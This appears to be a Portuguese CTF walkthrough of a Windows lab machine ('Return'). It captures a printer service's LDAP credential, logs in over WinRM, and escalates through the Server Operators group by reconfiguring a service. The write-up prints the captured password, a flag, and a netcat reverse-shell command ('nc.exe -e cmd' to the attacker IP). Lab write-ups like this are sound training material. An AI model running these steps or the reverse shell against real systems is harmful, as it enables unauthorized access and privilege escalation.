Máquina Windows fácil onde abusamos a fraca autenticação de um serviço de impressora conseguindo a credencial de um usuário com permissão para obter acesso ao alvo usando o serviço WinRM. Por fim, exploramos o grupo Server Operators e conseguimos executar um payload malicioso, obtendo uma reverse shell como nt authority/system.
Reconhecimento de Rede
Verificando a conectividade via Ping
A primeira ação para reconhecimento do alvo é testar a conectividade com ele, utilizando o comando ping. Ao enviar um pacote ICMP, podemos confirmar se a máquina alvo está acessível na rede.
No retorno, o TTL de 127 é uma indicação de que possivelmente estamos lidando com um sistema Windows. O TTL inicial para sistemas Windows costuma ser 128, e o valor observado no ping geralmente é reduzido conforme os pacotes atravessam roteadores na rede. Como o TTL está próximo de 128, é provável que o sistema alvo seja uma máquina Windows.
attacker> ping-c110.10.11.108PING10.10.11.108 (10.10.11.108) 56(84) bytes of data.64bytesfrom10.10.11.108:icmp_seq=1ttl=127time=176ms---10.10.11.108pingstatistics---1packetstransmitted,1received,0%packetloss,time0msrttmin/avg/max/mdev=176.077/176.077/176.077/0.000ms
Varredura de Portas e Serviços
Em seguida, executei um escaneamento de porta no alvo para identificar quaisquer portas abertas que pudessem ser usadas para novos ataques. Usei a ferramenta rustscan para verificar todas as portas (1-65535) no alvo. A varredura revelou as portas que estavam abertas e seus respectivos serviços, incluindo DNS, SMB, Microsoft IIS, Kerberos, LDAP e WinRM, atestando que de fato trata-se de um host Windows.
attacker> rustscan-a10.10.11.108-r1-65535--ulimit5000---sCV-n-Pn-oXnmap.xml.----..-..-..----..---..----..---..--..-..-.| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| ||.-. \| {_}|.-._}}||.-._}}\ }//\ \| |\|`-' `-'`-----'`----'`-' `----' `---' `-'`-'`-' `-'The Modern Day Port Scanner.________________________________________: https://discord.gg/GFrQsGy :: https://github.com/RustScan/RustScan : --------------------------------------😵 https://admin.tryhackme.comPORT STATE SERVICE REASON VERSION53/tcp open domain syn-ack ttl 127 Simple DNS Plus80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0| http-methods:| Supported Methods: OPTIONS TRACE GET HEAD POST|_ Potentially risky methods: TRACE|_http-title: HTB Printer Admin Panel|_http-server-header: Microsoft-IIS/10.088/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2022-10-22 22:50:42Z)135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: return.local0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds? syn-ack ttl 1275985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-server-header: Microsoft-HTTPAPI/2.0|_http-title: Not Found47001/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)|_http-title: Not Found|_http-server-header: Microsoft-HTTPAPI/2.049214/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49665/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49666/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49668/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49671/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49674/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.049675/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49679/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49682/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC49694/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPCService Info: Host: PRINTER; OS: Windows; CPE: cpe:/o:microsoft:windowsHost script results:| smb2-time:| date: 2022-10-22T22:51:40|_ start_date: N/A| p2p-conficker:| Checking for Conficker.C or higher...| Check 1 (port 42913/tcp): CLEAN (Couldn'tconnect)|Check2 (port 31931/tcp): CLEAN (Couldn't connect)| Check 3 (port 26260/udp): CLEAN (Failed to receive data)| Check 4 (port 45553/udp): CLEAN (Timeout)|_ 0/4 checks are positive: Host is CLEAN or ports are blocked|_clock-skew: 18m45s| smb2-security-mode:| 3.1.1:|_ Message signing enabled and required
Como há muitas portas abertas, para uma melhor visualização utilizei a ferramenta nmap-bootstrap, que transforma a saída xml do nmap em um arquivo html com visual melhorado.
Em seguida, passei a enumerar o serviço HTTP usando a ferramenta whatweb para coletar informações sobre o software e a versão do servidor web. A ferramenta retornou informações como o software do servidor web (Microsoft-IIS), versão (10.0), linguagem (PHP) e cabeçalhos que foram enviados na resposta HTTP. A ferramenta também revelou o título da página "HTB Printer Admin Panel" e o cabeçalho do servidor "Microsoft-IIS/10.0".
Após acessar o painel de administração de impressora, na guia Settings havia uma autenticação no servidor printer.return.local, porta 389 (ldap), com o nome de usuário svc-printer e sem a exibição da senha.
Printer Abuse
Pensando em formas de abusar dessa autenticação, podemos alterar o "Server Address" para o IP da nossa máquina atacante e tentar receber essa autenticação.
Então, basta nos colocar em escuta com netcat na porta 389 para recebermos esta autenticação e clicar em "Update" no servidor web. A autenticação é fraca e, portanto, conseguimos capturar uma credencial.
Como a porta 5985 (WinRM) do alvo também está aberta, podemos ver se com essas credenciais podemos acessar esse serviço. Nos é retornado (Pwn3d!), o que significa que este usuário faz parte do grupo Remote Management Users, podendo acessar o host remotamente utilizando o serviço WinRM.
Assim, podemos usar a ferramenta evil-winrm para obter esse acesso remoto ao alvo.
attacker> evil-winrm-i10.10.11.108-u'svc-printer'-p'1edFg43012!!'Evil-WinRMshellv3.4Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data:Formoreinformation,checkEvil-WinRMGithub:https://github.com/Hackplayers/evil-winrm#Remote-path-completionInfo:Establishingconnectiontoremoteendpoint*Evil-WinRM* PS C:\Users\svc-printer\Documents> whoamireturn\svc-printer
Uma vez logado, naveguei até o Desktop do usuário svc-printer e encontrei a flag user.txt.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> type user.txtc75ebbf58af22862bec54ef89e3ef6ba
Com essa flag, concluímos o primeiro objetivo do CTF e podemos passar para a próxima etapa de escalar privilégios para obter acesso a flag root.txt.
Privilege Escalation
A próxima etapa foi procurar maneiras de escalar nossos privilégios para Administrator. Com whoami /groups eu identifiquei que o usuário svc-printer fazia parte do grupo Server Operators. Este grupo tem permissões para iniciar e parar serviços no sistema. Portanto, eu pude usar essa informação para escalar meus privilégios.
*Evil-WinRM* PS C:\Users\svc-printer\Desktop> whoami /groupsGROUPINFORMATION-----------------GroupNameTypeSIDAttributes========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Server Operators Alias S-1-5-32-549 Mandatory group, Enabled by default, Enabled group
BUILTIN\Print Operators Alias S-1-5-32-550 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
MandatoryLabel\HighMandatoryLevelLabelS-1-16-12288
Escalation via Server Operators Group
Para iniciar esse processo, precisamos transferir um executável do netcat para o alvo. Ele servirá para nos enviar uma reverse shell como Administrator quando abusarmos do grupo Server Operators.
Usando o executável sc.exe, podemos configurar um serviço para atribuir a ele um comando que nós definirmos. Neste caso será um comando malicioso para enviar uma reverse shell para nossa máquina atacante usando o netcat que transferimos para o alvo.
Depois de testar os serviços um por um, vemos que o serviço VMTools pode ser configurado, assim, podemos definir o comando malicioso nele.
Agora podemos iniciá-lo novamente, isso fará com que ele execute o comando malicioso que configuramos. Antes disso, temos que nos colocar em escuta na máquina de atacante com netcat, para depois iniciar o serviço VMTools do alvo com o parâmetro start.
Dessa forma, uma vez reiniciado, o serviço VMTools executará o comando C:\Windows\Temp\nc.exe -e cmd 10.10.16.49 443 e nos enviará uma reverse shell privilegiada.